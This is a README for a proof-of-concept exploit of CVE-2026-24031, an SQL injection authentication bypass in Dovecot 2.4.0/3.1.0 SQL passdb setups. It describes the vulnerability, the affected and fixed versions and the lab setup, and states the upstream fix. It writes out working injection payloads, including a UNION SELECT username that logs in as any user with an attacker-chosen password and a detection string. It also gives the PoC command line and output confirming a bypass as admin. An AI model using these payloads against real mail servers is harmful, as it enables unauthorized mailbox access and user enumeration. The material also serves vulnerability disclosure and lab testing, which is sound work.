## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-ARAMOSF-CVE-2026-24031
# CVE-2026-24031: Dovecot SQL authentication bypass (authentication + user enumeration)

This repository contains a proof-of-concept authentication-bypass exploit for **CVE-2026-24031** , a SQL injection in Dovecot's SQL-based authentication introduced as a regression in Dovecot 2.4.0 / 3.1.0. In the tested Docker lab (Dovecot 2.4.0 + PostgreSQL), the PoC logs in as **any user without knowing their real password** , and can also enumerate users.
> **Warning**
>
> This PoC performs an unauthenticated authentication bypass against a mail server. Use it only against a lab you own or against targets you are explicitly authorized to test. It does not modify the server's state, but it will exercise authentication and may leave failed-login entries in logs.
## Vulnerability summary
Dovecot SQL-based authentication is vulnerable when the administrator clears the `auth_username_chars` configuration directive (sets it to an empty value). `auth_username_chars` normally acts as an input filter that restricts which characters are allowed in a username _before_ the username is interpolated into the SQL passdb query.
With `auth_username_chars = ` empty, the value is passed through to the query **without** `sql_escape_string()`. A crafted username containing SQL metacharacters therefore becomes part of the query:
root@kitploit:~
SELECT username AS user, password FROM users
WHERE username = '%{user}' AND active = TRUE
The following payload makes the query return a row for `VICTIM` with a password chosen by the attacker:
root@kitploit:~
' UNION SELECT 'VICTIM','{PLAIN}12345' --
`{PLAIN}` is parsed by Dovecot (not by the database), so the password scheme is handled natively and the trick works on pgsql, mysql, mariadb and sqlite. Sending `12345` as the password then matches, yielding `LOGIN OK` as `VICTIM` without knowing the real password.
The resulting query is:
root@kitploit:~
SELECT username AS user, password FROM users
WHERE username = '' UNION SELECT 'VICTIM','{PLAIN}12345' -- ' AND active = TRUE
## Affected and fixed versions
This is a **regression introduced in Dovecot 2.4.0** and also present in 3.1.0. Earlier 2.2.x / 2.3.x releases escape the username and are not vulnerable. The flaw is fixed in 2.4.3 and 3.1.4 (OXDC-ADV-2026-0001, DOV-8781).
The vulnerability only applies when **all** of these hold:
* Dovecot 2.4.0 or 3.1.0;
* a SQL passdb (`driver = sql`) using `pgsql`, `mysql`, `mariadb` or `sqlite`;
* `auth_username_chars = ` (empty) β the trigger condition set by the administrator;
* network reachability to the IMAP / POP3 / ManageSieve service (TLS or not).
The PoC was validated against Dovecot **2.4.0** (official release tag, `daeb6bc5`) + PostgreSQL.
## Exploitation process
### 1\. Detect the no-escape condition
Authenticate with username `' OR '1'='1' -- ` and an arbitrary password. On a vulnerable server the query is altered, so Dovecot returns `a1 NO [UNAVAILABLE] Temporary authentication failure.` instead of the classic `AUTHENTICATIONFAILED`. This is the fingerprint that the username reached the SQL query unescaped.
### 2\. Bypass authentication with UNION SELECT
Authenticate with username:
root@kitploit:~
' UNION SELECT 'VICTIM','{PLAIN}12345' --
and password `12345`. The UNION row overrides the `password` column for `VICTIM`, and `{PLAIN}` is parsed by Dovecot, so the password check succeeds.
### 3\. User enumeration
Because the query result shape differs between "user exists" and "user does not exist" (row count and response status), the server leaks whether a username exists. This works against every affected backend.
## Building and running the PoC
The PoC is a self-contained Python 3 script (standard library only). Start the vulnerable lab and run the exploit:
root@kitploit:~
./run.sh
`run.sh` builds and starts the Docker lab (`lab/docker-compose.yml`), waits for IMAPS on `127.0.0.1:14193`, then runs the PoC. The lab builds Dovecot 2.4.0 from the official release tarball with an intentionally vulnerable configuration and a PostgreSQL database.
Equivalent manual steps:
root@kitploit:~
docker compose -f lab/docker-compose.yml up -d --build
python3 cve-2026-24031-poc.py 127.0.0.1 14193 0.3 imap
PoC options:
root@kitploit:~
python3 cve-2026-24031-poc.py <HOST> [PORT] [DELAY] [PROTO]
HOST IP or hostname (required)
PORT 993 = IMAPS/TLS (default), 143 = IMAP, 995 = POP3S, 110 = POP3
DELAY seconds between attempts (default 0.5)
PROTO imap (default) | pop3
Optional environment variables:
CVE24031_USER username to impersonate (default: admin)
CVE24031_PASS password chosen for the UNION row (default: 12345)
The lab database seeds these users: `admin/admin123`, `alice/alicepass`, `bob/bobpass`, `postmaster/postpass`, and `victim/supersecret`. The PoC impersonates `admin` without knowing its password.
## Reproduced results
The PoC was validated end-to-end in the Docker lab. The `admin` user's real password is `admin123`; the PoC logs in as `admin` using `12345`.
root@kitploit:~
$ python3 cve-2026-24031-poc.py 127.0.0.1 14193 0.3 imap
[*] Target : 127.0.0.1:14193 (imap, plain)
[*] Victim : admin imposed password: 12345
[*] TARGET CONFIG: Dovecot 2.4.0/3.1.0 + driver=sql + auth_username_chars EMPTY
=== PHASE 1: UNION SELECT (login as victim without real password) ===
[UN ] user="' UNION SELECT 'admin','{PLAIN}12345' -- " pwd='12345' -> OK
============================================================
[!] >>>>>> BYPASS CONFIRMED <<<<<<
[!] Logged in as 'admin' without knowing the real password.
[!] CVE-2026-24031 exploited.
The complete sanitized transcript, including the legitimate-control and no-escape-detection steps, is in `docs/example-output.txt`.
## Demo
The animated demo at the top of this README (`assets/CVE-2026-24031.gif`) was recorded from a real session against the running lab. Regenerate it with:
root@kitploit:~
# with the lab up (docker compose -f lab/docker-compose.yml up -d)
asciinema rec --cols 120 --rows 34 -c "bash demo.sh" demo.cast
agg --font-size 16 --fps-cap 30 --speed 1.2 --theme nord \
--cols 120 --rows 34 demo.cast assets/CVE-2026-24031.gif
`demo.sh` drives the live demonstration; `demo.cast` is the raw asciinema recording used to render the GIF.
## Fix
The advisory (`OXDC-ADV-2026-0001`, DOV-8781) is already released upstream; Dovecot 2.4.3 / 3.1.4 escape the username before interpolating it into the SQL query. The fix is therefore not duplicated in this repository. The recommended hardening is to never clear `auth_username_chars`, or to upgrade to a fixed release.
## References
* Official CVE record (CVEProject cvelistV5)
* cve.org record
* Dovecot Security Advisory OXDC-2026-0001 (dovecot.org)
* Dovecot 2.4.0 release tarball
Vulnerability discovery: whisperer@yeswehack. Research and exploit implementation: **A. Ramos** `<some-email@example.com>` (Twitter: @aramosf).
## About
CVE-2026-24031 Dovecot SQL authentication bypass (authentication bypass + user enumeration) PoC